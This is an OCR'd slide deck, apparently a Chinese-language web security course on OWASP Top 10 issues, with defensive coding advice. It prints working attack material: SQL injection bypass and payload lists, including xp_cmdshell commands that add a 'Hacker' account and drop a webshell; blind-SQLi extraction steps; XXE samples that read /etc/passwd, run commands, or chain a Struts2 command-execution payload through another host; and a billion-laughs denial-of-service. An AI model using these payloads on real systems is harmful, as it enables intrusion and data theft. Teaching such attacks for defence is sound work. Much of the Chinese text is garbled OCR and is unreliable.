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Network vs. Application
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—1| AP Twitter account hacked, makes false claim of
explosions at White House (update)

by Chris Welch | Apr23, 2013, 1:16pm EDT

f SHARE | W TWEET | In LINKEDIN

NOW TRENDING

AP The Associated Press % Follow

Breaking: Two Explosions in the White
House and Barack Obama is injured
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SSL IS enough
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- B FE4E
, HhE @
Bt i 5 - R~ RE
- ﬁ » ¥ % -> SQL Injection, XSS..
Framework
- .NET, Java, 39 party libraries

Bt % EBR
- backup -~ test files
- source code files
- config files
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" ool B DeMilles

> External Systems are Insecure

> Minimize Attack Surface Area _="1' 6T

> Secure Defaults ,-# {__ﬂlllf}hllli{li'lt‘ﬂt
» Least Privilege )

> Separation of Duties '

» Defense in Depth
» Falil Securely

» Do not trust Security through
Obscurity

» Simplicity

Saltzer, J. H., and Schroeder, M. D., “The Protection of Information in Computer System”,
Fourth ACM Symposium on Operation Systems Principles, October 1974.
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OWASP Top 10 2017

Eofadi '_EFFEBﬁ (Insufﬁc:ent Logging & Monitoring ) 3
FIRIAHE : OWASP » iThome®58 » 20174211 7

https://www.ithome.com.tw/news/118411

18



HEEE dHE 085S
i HEEE
e r— O ay 25 B sol injection RURRA
= o EET .
BEEREERTE St | 23R
o
WooYun

hitps://zeraday . hitcon.org/vulnerability/search?page=10

SRR, FESOL InjectioniEiR
0065 - RETEESE

=ction =E

EESOL InjectioniEiE
REREERAT

bLInjec:Eor! A

EEE%EE‘“ 35, FESOL InjectionimiFl
ZD-2019- GD.HO EREREREERAT

njectionigiE

%-ﬁ;u 5QL‘|IﬂJ°C ion fEiE
EHEEEENE. FEsOL InjectionimiE

fD cO’l 9338 BB *E

[E6e] Bl

HAEE.. SQ_LInJec ion FEiE

Hiem@S SR s aEmi=ro0)| njacionsaa

ZD ZC'18-UI S? unknown

F'ﬂ %=
%QL._ ESQ Ir' ectionS5Eg




Injection

Copyright of STI



Injection

22 EEE ) TR SR ST RN
v'SQL Injection
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FIREREMAEH T#ﬁ" SQL &
strSQL="8 '

Request("UserName")|& '{ AND Password= &{Requestf Pass

&'’
WETHA SQU Server BT » ERBEIAMS

Set rec=Execute(strSQL)

SOL Injection (4£:1998 ~ Z5:7)
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Bypass Authentication

>3 R RAF R R 0 T F 45

Select
*
From
Account
Where

username=‘[#& 5]’

and

password='[ #4]’

Demo = ....

Select
*

From
Account

Where
username=‘abcde’
and
password=" or 1=1--’

¥z fﬂf}l]:
> ‘or"=

> ‘orl=1--
> ‘orl=1/*
> ...



Error Based

>5% ¥ 2 : ASP + MS SOL
> BB BB 12 A (?)

i asp?ID=28517 and @@version>1-- - Windows Internet Explorer =13

@: - [g, hitp:/ k asp?ID=2851 7 e | v| LR | 44| | X |:-] | Felibs
#E?EI:EI REE Wl FEREGQ I8RO S _

WHBE (@ .| |Gk E Q-84 DQRDPOEHBNO & E% G

¥ nvarchar {H 'MNicrosoft SQL Server 2000 - 8. 00,2055 (Intel X86) Dec 16 2008 19:46:53 Copyrisht
{c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack

2) 7 BEAFARERY int MFIEEEIREER.

SERE & FEREEE iy v+ R100% -

= JE{BRIEE : “SQL Injection (BERIEE)- B2 =R SQLIEZE 75t
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Union Based

PEFRBE+BERTESABESE

Select Select
id,user,message id,user,message
From From
board board
Where
Where id=8
Id= 8 Union select 1,2,version()--

Demo = ....
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Blind SQL Injection
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» Error Base
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Blind SQL Injection (cont.)

| >§§'f)’ﬂj :

True
Recent Transactions
After | | Before  |p1/01/2005and '1'="1| [ Submit ]
TransactionID Accountld Description Amount
1 1001160140 Paycheck 1200
1

False fr— N

Recent Transactions l ‘

After | | Before  |01/01/2005and '1'=2| [ Submit ]
TransactionID Accountld Descripticn Amount
1
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http://XXXXXXNNNXR/productList.php?id=8
http://XKRXXNXXXXK/productList.php?id=8
http://XKRXXNXXXXX/productList.php?id=8
http://AXKRXRNNNRR/productList.php?id=8
http://AXXXXXNNNXR/productList.php?id=8
http://XXXXXXNNNXR/productList.php?id=8

http://AXKRXRNNNRR/productList.php?id=8
http://AXXXXXNNNXR/productList.php?id=8
http://XXXXXXNNNXR/productList.php?id=8
http://XKRXXNXXXXK/productList.php?id=8
http://XKRXXNXXXXX/productList.php?id=8
http://AXKRXRNNNRR/productList.php?id=8
http://AXXXXXNNNXR/productList.php?id=8
http://XXXXXXNNNXR/productList.php?id=8
http://XKRXXNXXXXK/productList.php?id=8
http://XKRXXNXXXXX/productList.php?id=8

and { select ASCII(substring({@@version,1,1)) ) >108 --> False --> 1 ™ 168

and { select HSEII(5uh5tring(@@uer510n,1,1)) )y »58 --» True --> 58 ™ 10608

and { select HSEII(5uh5tring(@@uer510n,1,1}} )y »#8 --» False --> 58 ™ 7@

and { select HSEII(5uh5tring(@@uer510n,1,1)) ) »08 --» False --> 58 ™ 6@

and { select HSEII{5uh5tring{@@uer5iun,1,1}} ) »55 —-» False --> 5@ ™ &%

and { select ASCII(substring({@@version,1,1)) ) =53 --> True --> ASCII = 53 --> '5'

and ( select ASCII(substring(@@version,2,1)) ) =46 --> 5.

and ( select ASCII(substring(®@version,d,1)) ) =48 --> 5.0

and { select ASCII(substring({@@version,k,1)) ) =46 --> 5.0.

and ( select ASCII(substring(@eversion,%,1)) ) =51 --> 5.0.3

and { select HSEII(5uh5tring(@@uer510n,6,1}} ) =5 -3 5.0.37

and { select HSEII(5uh5tring(@@uer510n,?,1)) ) =45 -3 5.0.37-

and ( select ASCII(substring({@@version,8,1)) ) =108 --> 5.0.37-1

and { select ASCII(substring(@@version,9,1)) ) =111 --> 5.0.37-10

and { select HSEII(5uh5tring(@@uer510n,1ﬂ,1}} ) =103 --> 5.8.37-1og ====> HysQL DB
and { select HSEII(5uh5tring(@@uer510n,11,1}} ) »8  --> False --> Stop !
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Batch Queries

ST RRY L RAWE S P RHEE
£ o (MS-SQL 3 1)
v'Select / Insert / Delete / Update / Drop ....
vV R E g * ¢hStored Procedure 4p £
It Z B % >
v'id=1 ; drop table account;--
v'id=1 ; exec master..xp_cmdshell ‘

>h LEEEAH > FR L FFE
Y
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Batch Queries (cont.)

>MS-SQL B3 2371 % ... 1

2 3p AR - H(MS-SQL) | = *

Xp_cmdshell it 39 72 SQL Server 1% Stk B B o R (T i
PRt AR o

Xp_regXXXX T BT ¥ & KLearegistry ’P“\f 0

Xp_servicecontrol BH N Er s E B PRIE o

Xp_terminate_process R BT A > RS P ARE
Process ID -

Xp_dirtree BT 5B R &T T P BB

Xp_o0aXXXX 3B FPRE 3 OLE 4 % o

31



*>ﬁ o

> B TR B4R
>ERE
LD T ]

32



Input Validation

» SOP .
#E 72: Decode before validation !

Make
potentially
Allow known Reject known malicious data
good data bad data safe

Input Constrain > Reject > Sanitize

Validate type, format, For example, stripping
length and range Null characters or
(Use regular expressions spaces

for string data)

33



Input Validation (cont.)

S Sl d
£ RE 5103 =~
VE LIFR 2 ol
9rgzﬁ¢‘dﬁHW?@%}*aW%m
ﬁy\%é’— 1, KL SR !
» Minimize Attack Surface Area !!!

SQL Injection #2557
SELECT select List FROM table_source WHERE coLumn_namE = anynumber;

oiding spa fBsf** char( 255
ect/**/@s=BxE626370286d61737465722e2e7379736T626a65637473286F757420633a5c696e65747@75625c 7777 77726T6F
exec/**/master..xp_cmdshell

34




- or 1l=1--

- or 2>1--

- ‘or"=

- and 1=1--

- and 1=2--

— ‘;declare @a int;--

- @@version>1

- 1/0

— order by 100

‘ union select coll,col2,... from table--

;exec master..xp_cmdshell “net user Hacker Hacker /add’;--
;exec master..xp_cmdshell ‘echo WEBSHELL > path/a.asp‘--
;exec master..xp_regread 'HKEY_CURRENT_USER,Software\ORL\WinVNC3',Password;--

35



:E:‘l"'}j— lq‘ﬁ‘%i;\‘ "Ia > /pj‘l

> #2375 3 = Parameterized Querieseng /& %k
| ﬁ&%ﬁﬁ
BELRFIRp NI EET uﬁ@ﬁ@ﬁﬁ%
SQL:%/z o #T1l f i mfﬁ i g{:lés—SQL
Pl TR IE ?Wﬁﬁ‘wmw
\/’-"“i"f SQLF» & s B o § %
- RER4ER F'??‘D-Q 2 5T AR KPR o
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TR % B2 55 2 B (cont.)

vV RN E (B B )
- Bad ! - SQL Injection !

- ~

string userName = ctx.getAuthenticatedUserName();

string query = "SELECT * FROM items WHERE owner = """
+ userName + "' AND itemname = """
+ IltemName.Text + " :

sda = new SglDataAdapter(query, conn);

DataTable dt = new DataTable();

sda.Fill(dt);

>

37



TR 3 B-425 2T B (cont.)

v #23 fE 6 (NET - CH) (ddF g% )

/ string connString = \
WebConfigurationManager.ConnectionStrings[*'myConn'*].ConnectionString;

using (SqlConnection conn = new SglConnection(connString))

{

conn.Open();

SglCommand cmd = new SqlCommand("'SELECT Count(*) FROM
Products WHERE ProdID=@pid"", conn);

SglParameter prm = new SqglParameter("*@pid**, SqlDbType.VarChar, 50);
prm.Value = Request.QueryString[*'pid"'];
cmd.Parameters.Add(prm);

\ int recCount = (int)cmd.ExecuteScalar();
} /
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TR 3 B~423 2T B (cont.)

v 3 e 6) (Java) (BB i)

@tring custname = request.getParameter(‘'customerName™"); \
Il perform input validation to detect attacks
String query = ""SELECT account_balance FROM user_data WHERE user name =? "'

PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);

\ResuItSet results = pstmt.executeQuery( );

/

39



}A\%ﬁ_)‘%’% fg s\ ¢ 51 B ¥ Ay B =B DB ¢

i AAIIREE ll%,i%m!; 2w B ey FR o
vV F 53R a7 ?’Fi}in—}y"ﬁﬂfl
> "3 p‘f"'}g—ﬁ‘ T 235 X B efE s

> #— AR Z Plie g g mhflﬂﬁi}—*h‘lljf
® U PR T LD o

v MS-SOL :

— sp_addextendedproc ~ sp_addlogin ~ sp_password -
sp_addsrvrolemember ~ xp_cmdshell ~
Xp_availablemedia ~ xp_dirtree ~ xp_servicecontrol ~
Xp_subdirs ...... F o

40



Copyright of STI




Broken Authentication
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» Authentication

VBB ERER
— 7 1 FFR RAG/33 DG
- R RE € EN
-RK 22 G
- S XBFITH ARG - KPP (2 A pEFsd)
—-BEEH AT T 7 FIFRE
— r1Hash3; 3% # 3 B 15
V& N AR
o @ﬁ]ﬂ*% e % (4-SSL)
—F BRI A E W B
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<c 's‘ ) -
E"’fﬁ‘iﬁ‘b/ {7

— Re-authentication

=i

3 :cenp b IDA R AT Rk

p Ji= WeW R B4
— SSL 4 % @ﬁ]
— 3L 4rig * F (&]:by email)
~ SRR
— R FERGE D AR R R
— Send a unique time-limited unguessable single-use

recovery URL to user’s email provided during
registration.

-—
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2 sceredtation@acredibon symante com EERE 0146 (EE- TE053
tez fndweng@sticon by -

=E. Howto reset your Symantec username and passward at the Integral7 Credential Manager

Dear Fred Weng,

To reset your username or password at Symantec's Integral7 Credential Manager, please click on the account recovery link below or copy and paste the address onto your web browser's address window.  When
the page opens, enter the authentication code.  Once you have authenticated, you may reset your username and/or password.

Account recovery link: https://i7Ip.ntegral7.com/durango/zaazkey=nGHhYchTMdkmuCQnctPIR -

Authentication Code: wrHSptus -

Please note that the account recovery link will expire on 09/05/2012. -

If you require further assistance resetting your password, please contact accreditation@accreditation.symantec.com.

Thank you for contacting Symantec

You are recelving this email because you are a customer of Symantec and have requested information regarding your account.
Powered by the Integral7 Credential Bureau {wwwintegral7.com)




> % > e Session Management
V& »~ig* ihSession ID FRE St 2 A e |
‘/@ﬁ] D S
— 4% 1 * cookie® i%
» '] cookie scope (domain & path)

» 2k Z_HttpOnly flag
» 2k Z_secure flag

)

Set-Cookie:JSESSIONID: 893ihewwydkq2704@&@09;Path=/;secure

— 4% 7 L3F i * cookie
» w1l URL%#c™ ;ViE 7 i@k
> ¢ 8> Referer header / Browsing History

> BT e RIS REGE YA ROVERE (LR IR replay)
46




f* & 2E 3% (cont.)

v’ Logout() !
@ °% “F 3T {S 5 fsession B
thiz WBeszsion Abandond );  this _Session . Clear();

» @ 3 session token % »%

Session.Abandon();
Response.Cookies.Add(new HttpCookie("ASP.NET SessionId”, ""));

http://forums.asp.net/t/1755872.aspx?SessionID+not+getting+reset+after+Session+Abandon

47



v’ Logout() ! (cont.)

— Java Samples
»Samplel:

if (session '= null) {

HttpSession session = request.getSession(false);
session.invalidate() ; @

}

»Sample2:

public static HttpSession resetSessionId(HttpSession session,
HttpServletRequest request) {
session.invalidate();
session = request.getSession(true);
return session;

http://stackoverflow.com/questions/4836106/how-to-reset-jsessionid




f# & 1& 3% (cont.)

v’ Limit session lifetime

— Java Samples
Web.xml

<session-config>

<!'-- inactivity timeout in minutes -->
<gession-timeocut>15</session-timecut>
</session-config>

Coding:

// inactivity timeocut in seconds
gagslion . setMaxTnactivelnterval (300) ;

v"No concurrent logins !

49
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Sensitive Data Exposure

PREF AR ERL T T RBATE M

VIRE >~ HismE (P RIP - HREE - B4 ~ Session
ID....)

> 425N 5n }:Hég “FF;}J‘!'\: PR
v =%:Log/ '% > | APP
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\/ﬁﬁml‘,q F %7 £

o1



@ .-f.v IE fipefi e testfive et bank oz aap . - | b | |2 Gooel | Dls
- BRD &BE ®R0 AMEEQ IAD SHD

VEMRE @ bl Ml Server Enor hcd B R GRPOEEND Gd& BBp- 2R ‘

il

Sign In | Contsct Us | Feedback | Search! ! G0

AltoroMutual

An Error Has Occurred

Summary:
Syntax error in string in query expression 'username = """,

Error Message:

System.Data.0leDb.OleDbException: Syntax error in string in query expression 'username = ", at System.Data.CleDb.OleDbCommand.ExecuteCommandTextErrorHandling{ OleDbHR esult hr) at
System.Data.0leDb.0OleDbCommand.ExecuteCommandTextForSingleResult(tagDERPARAMS dbParams, Objecth executeResult) at System.Data,OleDb.OleDbCommand.ExecuteCommandText{ Objecth executeResult)
at System.Data.CleDb.OleDbCommand.ExecuteCommand(CommandBehavior behavior, Objecth executeResult) at System.Data.CleDb.CleDbCommand.ExecuteR eaderinternal CommandBehavior behavior, String
method) at System.Data,OleDb.OleDbCommand.ExecuteReader| CommandBehavior behavior) at System.Data.0leDb.OleDbCommand.System.Data. IDbCommand.ExecuteR eader] CommandBehavior behavior) at
System.Data.Common.DbDataAdapter FillinternalDataSet dataset. DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDBCommand command, CommandBehavior behavior] at
System.Data.Common.DbDataAdapter Filll DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at
System.Data.Common.DbDataAdapter Fill{ DataSet dataSet, String srcTable) at Altoro.Authentication.ValidatelUser( String ullame, String pWord) in d:\downloadsi\AltoroMutual_veiwebsite\bankilogin.aspx.cs:line 73

at Altoro.Authentication.Page_Load{Object sender, EventArgs e) in|u:l:‘Ldovmloads‘.ﬁltornh-'lutual '.rE".,website"\banl-c‘tlogin.aspx.:slline 32 at System.Web.Util.CalliHelper.EventArgFunctionCallar(IntPtr fp, Object o, Object
t, Eventirgs &) at System.Web.Util.CalliEventHandlerDelegateProxy. Callback(Object

System.Web.UL.Page.ProcessRequestMain(Boolean includeStagezBeforeAsyncPoj

ar, EventArgs ) at System.Web.ULControl.OnLoad(Eventirgs e) at System.Web.UL.Control.LoadRecursive(] at
oolean indludeStagesAfterzyncPoint]

Privacy Policy | Security Statement | & 2005 Altoro Mutual, Inc.
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> % SSL T BT e T !
VERRAETH ERTHEGPTHRE &
— Password ~ Session ID | |
v i A f;}_'
v 3% ’FF;}_'
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WiFi FinderZ & 2008 {EWi-FIZ S AR INE
2115 B o[+ A FA RS

REgh / Ea58%E

}@)F#ﬂi% FEARANdroid 2 £ 2 EWI-FiSERRE "WifFi Finder,
B BEZEREREEEAESE2008EWI-FIZEMNEIEE  BiELEIE
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“HAETLRAL

» Password : 12345678

Algorithm Value

Base64 MTIzNDU2Nzg=

DES (13 chars) aaNN3X.PL2piw

MD?5 (32 chars) 25d55ad283aa400af464c76d713c07ad

SHA1 (40 chars) 7¢222fh2927d828af22f592134€8932480637c0d
Salted MD5 $1$tsLFcOYh$5ibC1LUI2OPWUVYGUttUFI1
LanMan 0182BD0BD4444BF836077/A718CCDF409
NTLM 259745CB123A52AA2E693AAACCA2DB52
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» Encoding (%75 ) : Base64 ~ HTML Encoding

» Hash (3&7% & #c) . MD5 - SHAL

f(data) : .
‘ [ %465 lﬁ' J | The input can ke of any length.

The output has a fixed length.
v H(x)is relatively easy to compute for any given x.
v Hix)is one-way.

Hix)is collision-free.

> Encrypt ("l'\: :?ﬁ ) AES (http://www.rsa.com/rsalabs/node.asp?id=2176)

f(data, key)
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r R R RTINS

Hashed Password /

7¢c222fb2927d8
28af22f592134e
8932480637c0d

—

Match| “

N

Plaintext 000001’ hash

Plaintext 000001

Plaintext 000002’ hash

Plaintext 000002

Plaintext 999999’ hash

Plaintext 999999

Rainbow Table
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r

Rainbow Tahle properties

Min Len Ma Len - — Index Chain Len Chain Coumnt N° of tables
| 1 |".-‘ |EI 2400 40000000 1

shalhb — = — 0 ; - e } : >
3 | | [ = = [ S .- = |
shahd & © M REG P Joawse @ -4 @ - [
oracle '%2582 keys | AEHLD) | @] hitp:thwww fresrainbowtsbles comindex-rainbawtables-tables-shal himl i~ EEE -
wparpsk ¥ 135 MB
Bnccess probabilite: 0978038 @ Algorithim: SHA1
. mixalpha-numeric

Benchumark Character Set: {abcdefghifkmnoparstuvwxyzABCDEFGHI TKLMNOPORSTUVYYZ0 123456 735)
Hash speed. String Length: 1-7 characters
Step speed

S Mumber of Tables: 101

It Filesize:; 36.9GE (rar-compressed)
Download: Torrent - Download torrent for these rainbow tables
k Files: sha 1_mixalpha-numericz=1-7_0_4500x40000000_all.rar

| shal_mixalpha-numeric#1-7_1_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_2_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_3_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_4_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_5_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_6_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_7_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_8_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_9_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_10_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_11_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_12_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_13 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_14_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_15_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_16_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_17_ 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_138_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_19_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_20_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_21_ 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_22_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_23_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_24_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_25 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_26_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_27_4500x40000000_all.rar
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Password Crackers

» John the Ripper
v http://lwww.openwall.com/john/
v' DES/MD5/Salted MD5/LM

» John The Ripper MPI Patch
v' http://bindshell.net/tools/johntheripper
v’ DES/MD5/Salted MD5/LM/NTLM/...
» Cain & Abel
v’ http://lwww.oxid.it/
v  LM/NTLM/MD5/SHA1/...
» RainbowCrack
v’ http://lwww.antsight.com/zsl/rainbowcrack/
v MD5/SHAL/LM/NTLM/...
» Google

v Reverse MD5
v Reverse SHAL1
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»>Principles : £% 3| ~ 2%
VISATEOR A & v B 59 2
v R & T PR S i Hash & B R -
- HEREEE TR Y 2 & BRE key size

— Hash
>7 & &% : LM~ MD5 « SHAL
> v 2 MAQice, SHA-256
> i A4 eh hash &2 4 > pricF ¢ (salt)
» 3|1 - $1$tsLFcOYh$5ibClU120PwUvyGUtEUFI1

» 2 - Hash(““secret””, ““1lkjdo3opf~?), Hash(““secret””,
““mkdi2kan7”?)

— Cipher
»>* & g % 2 DES -~ Triple DES 62

w2 * - AFSrarc_198 AFQ-102 and AFS-25R)



» Java Sample
import javasscurityMessageDigest
import javasecurity.SecureRandom;

publ ic bytel ] getHash( int rounds, String password, bytel ] salt) throws
MNoSuchAlgor i thmException {

MessageDigest hashvalue = MessageDigestoet Instance("SHA-256"); [iSHA-256 1M |
hashvaluereset();
hashvalueupdate(salt); fleat EEEAER 64 fijT

bytel ] input = hashvalue digest(password.getBytes("UTF-8"));
for {int | = 0 i < rounds: i++) { L EBEREEES RS NP IR RE
hashvaluereset();
input = hashvaluedigest(input);
}
retum input; [ EEHBOREN e SILIHENIESERBERIFEER
I

SecureRandom random = SecureRandomugetinstance{"SHA TPRNG"); /| BEE2 BB ELE
bytel] bSalt = rew bytel8;

randomunextBytes(bSalt):

bytel ] bDigest = getHash{I TERATION_ROUNDSpassword bSalt);

String sDigest = byteToBase64(bDigest); /| BUTPIMEEM - HMENIRS: —HHETIIEHE
String sSalt = byteToBaseB4(bSalt); [/ SRR salt + MEESE —H{ETFRIEHE

4

( G ALY 8T - FRBF A F R Rg )

R

o

> .
3

“Sm
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f# & 22 3% (cont.)

v'For encryption keys
— B AN EE R EGHEFTHEFETR
v'For configuration store
- K7
» _NET : Aspnet setreg.exe

https://support.microsoft.com/en-us/help/329290/how-to-use-the-asp.net-
utility-to-encrypt-credentials-and-session-stat

— ﬁﬁ’*ﬁ‘ﬂ:ﬁ:?
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XML Basic

<torxGeorged/tor

<from»-John</ from:-

<heading>Reninder</heading>

<bcdy>Don't forget the meeting!</body>
</TOte>

> DTD ¢33 2
Note.dtd

| DOCT? {DE mote SYSTEM "note.dtd™s :> <!ELEMENT note (to,from,heading,body)>
nate - <!ELEMENT to (#PCDATL)>

il L

cta>GROTae</ o> <!ELEMENT from (#PCDATA)>

< from=John</froms <!ELEMENT heading (#PCDATR) >

heading>Peminder</headings <!ELEMENT body (#PCDATZ])>

<body>Don't forget the meeting'!</body>
< /note>
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> DTD A& 73 BW(ENTITY)x § & “p ;|44
-;,"';; “{,l. %’K ;;g 79

VREIREE S

< 'DOCTYPE

<IE T "

<!1E T pyrigl E ht >
1=

<testrawWriter; scopyright;</teat>

<7 ="1.

< 1DOCTYPE [

<1E T 5 tp: >
<IE T3 pyrigh "ht >
1=

<author>swriter; scopyright;</author>
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>I:c§—"2 & XML External Entlty“réh
(O jﬁJ" B 3TenF B U "JI:c?E’ﬂ—

RS =< .l
>> 7 W T Eb"ﬁf7ﬁ—
£ % 3, 9oy » > BEAFRL
> frda
> PRFxEG s B
libxmI2 PHP
file file
http http
ftp ftp
php
compr
compr
data
glob
pha )
15 y.E

68



Attack Samples

»Samplel: 3§ B~ 3T F

:/usr/local/nginx/html# cat testXML. php
<?php
$xml=<<<EOQF
<?xml version="1.0"?>
<! DOCTYPE ANY [
<IENTITY xxe SYSTEM " file:///etc/passwd">

(xe; </ x>

= simplexml_load_string( $xml);
print_r( $data);

?> security.tencent.com

@ [@1921681.102

SimpleXMLElement Object ( [xxe] => SimpleXMLElement Object ( |
/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/
/uucp:/bin/sh proxv:x:13:13:proxv:/bin:/bin/sh www-data:x:33:33:wv

gnaty Source of: http://192.168.1.102/testXML.php - Iceweasel
mess
/bin/{ File Edit View Help
befef" SimpleXMLElement Object
/bin/s (
/run/ [xxe] => SimpleXMLElement Object
| (
sslh: [xxe] => root:x:0:0:root:/root:/bin/bash
/run/f daemon:x:1:1:daemon: /usr/sbin: /bin/sh

bin:x:2:2:bin:/bin: /bin/sh

sys:x:3:3:sys: /dev: /bin/sh

sync:x:4:65534:sync: /bin: /bin/sync

games:x:5:60:games: /usr/games: /bin/sh

man:x:6:12:man: /var/cache/man: /bin/sh security.tencent.com




»>Sample2: 34 {7 4 stdp £ D SR

: /usr/local/nginx/html# cat testXML4. php

<?php

$xml=<<<EQF

<?xml version="1.0"?>
<! DOCTYPE ANY [

<IENTITY xxe SYSTEM "expect://id">

]>
<x>8xxe; </ x>
EOF;

$data = simplexml_load_string( $xml);

print_r( $data);

7>

:/usr/local/nginx/html# cat testXML3. php
<?php
$xml=<<<EQF
<?xml version="1.0"?>
<! DOCTYPE ANY [

<!ENTITY xxe SYSTEM "http://192.168. 1. 122: 8080/ struts2- blank/
example/HelloWorld. action? redirect: $%/b%23a%3d%28newd20java. Lang. Proc

sBuilderd28newd20java. lang. St ring¥bb%bd¥%/b’ whoami', "' %/ d%29%29. star

1928%29, %23b%3d¥R3a. getInputStream¥28%29, dR3c¥Bdnewd0java. io. InputSt
reamReaderd28%23b9%29, %23d¥8dnewd0java. io. BufferedReaderi28%23c%29, %2
3e%3dnewd20chardbb20%d, %23d. read¥28%23e%29, WR3matti8di¥R3context. get%
28' com. opensymphony. xwork2. dispatcher. HttpServlietResponse' %29, %23matt
.getWriteri28%29. printlnd28%23e%29, ¥23matt. getWriterd28%29. flushi28%2
9, %23matt. getWriterd289%29. close¥R8929%/d" >

xxe; </ x>
simplexml_load_string( $xml);

_r( $data);
security.tencent.com



»Sample3: e FR33

“Billion laughs attack”

<lENTITY

< |ENTITY
< |ENTITY
<IENTITY
<lENTITY
<|ENTITY
<|ENTITY
¢ |ENTITY
<IENTITY
<lENTITY
1>

<lolz>&lol

lol

<?xml version="1.8"?»
<!DOCTYPE lolz [

"lol">
<|ELEMENT lolz (#PCDATA))

loll "&lol;8&1o0l1;8101;8&l0l:&10l;&10]l;&101;&10]1;&101;8101;">

lol2 "&lol1;&lol1;81011;81011;8lol1;&1011;&1011;&81011;&1011;&1011;">
lol3 "&lol2;8&lol2;81012;81012;8l0l12;81012;&1012;&1012;81012;&1012;">
lolda "&lol3;&1013;81013;81013;81013;&1013;81013;81013;&1013;&1013;">
lols "&lol4;&10l14;&81014;&1014;&10l4;&1014;&10l14;8&1014;8&10l4;8&1014;">
lole "&lol5;8&lol5;&1015;810l15;8l0l5;&1015;&1015;&1015;&10l5;&1015;">
lol7 "&lole;&lol6;&10l6;810l6;810l6;&1016;&1016;&1016;&1016;;&1016; ">
lols "&lol7;&1017;81017;81l017;81017;&1017;&1017;81017;&1017;&1017;">
lol9 "&lolg8:;8&lols;&1018;&10l18;&1018;&1018;&1018;8&1018:&1018;&1018;">
9;</lolz>
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PR AR AR
v - x XML Input
VR EXMLY 5 ¢ IRDTD (i¢ * § /5<% ¥ ki)
>R AR AR F 20 H 8 Rk 5 % (protocol)
wa &b iF 2
v"Web Services = SOAP (<1.2 > Vulnerable)
v SSO & SAML

— “The Security Assertion Markup Language (SAML), is an open
standard that allows security credentials to be shared by multiple
computers across a network.” (reference:

https://www.csoonline.com/article/3232355/authentication/what-is-saml-what-is-it-used-for-and-how-does-it-work.html)
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XXE BUG PATCHED IN FACEBOOK CAREERS THIRD-PARTY

°N  SERVICE

-

by Michael Mimoso

A vulnerability was discovered and patched in a third-party service that handles

resumes on Facebook’s careers page.

The discovery was worth more than $6,000 in a bounty paid out by Facebook to
researcher Mohamed Ramadan of Egypt, who published some details of the

vulnerability and exploit on his website.

Ramadan said the vulnerability is a blind XXE (XML
External Entity) Out of Band bug. It allowed him to
upload a .docx file to the careers page with some
additional code that was not vetted by the third-
party service.

2014.12
Facebook !

/

Facebook has tackled XXE bugs befere. In January, it paid out a $33,500 bounty to a
Brazilian researcher who found a XXE vulnerability in Facebook's Forgot Your Password

service. He reported the XXE bug and asked Facebook for permission to escalate it to a
remote code execution flaw. Facebook quickly patched, but Silva shared his potential
exploit with the Facebook security team which decided it merited a major bounty.

https://threatpost.com/xxe-bug-patched-in-facebook-careers-third-party-service/110151/
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MiE [EEE] SRR, REERaNRE 20083

EIRRNEE ASRRATR "EREBE ) FRXERE  BEARER =E’“I?§t—“rtj’ﬁx #E  HEELART

HABRTESE sl Ea2EEEREEENEElogsiconfigECHEEEENZEEEEREME:E -
S/ HIFE | 20180322 %% BEIEE] ==/ iThometi &

#¥ Windows Remote Assistance

Do you want to ask for or offer help?

Migrosoft !

; _ ESMABER  AESHEEREES mscincidenti® » SNEWEI—EBIE
Windows Remote Assistance connects two compy =

problems on the other person's computer. = msrcincidentfiEMEFEHL - EERBIXMLIERNSZZESERE

WindowsHIXML parserii RE T HA0EE - EHESHTLIMAREE
ZHEPEE REENET logHconfigiE -

—> |nvite someone you trust to "'IE’]D

FAMm
BEEE

Your helper can .ie-,n your screen and share Lcmrcl of your computer.

—> Help someone who has invited you

Resnnnd tn a renuest for assistance from annther nersnn
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IEZEE 2y XXEEIG 20 AR, g i R R 2
I Z 48 &l 5019 4

Bi20194 04 § 22 § & Trend Labs S8 RHE £ IR ElR k0 B R L M | Croso ft |

EUHFBIohn Pagegii 75 T —{E{#E [EZRESHY

XXE (XMLSNERERE ) SHFET ORI o RIBHE » BEn

% DA T sa i s Sl el e = 5 BIRHUFEE
'& PagefsiFHWindows 7/10FWindows Server 2012 R2H

ETRREISHTRRIE (11)3EESS A AR LRI o FftR T =Y

O EEAR T B e m AR E R LU s Z A R

XXEX B ETHHTE A ERsEXMU TR 2R
(CWE-611) RUXMLEBATEARFERREIFEAS « XXKEXAEEH AECEAR B
T (CWE-827) - AR ERIEDES (MIXML) B8 - PINEZEa] LIREE
XMLtEIN LMl E R 2 HoA | T file: / /"l E B A RS E » B http:// "SR FRRE
AR#Es ERVREZE o

Page F{EISRAVIRIREERRCFHMIME HTMUAFEFAE (.mht) f25310 B (3 HEH SR
BT E RS - PIAWEIESREEA ACr+ KEIRCH 2 H el A Crl+ PHIEIRER - EfFAE
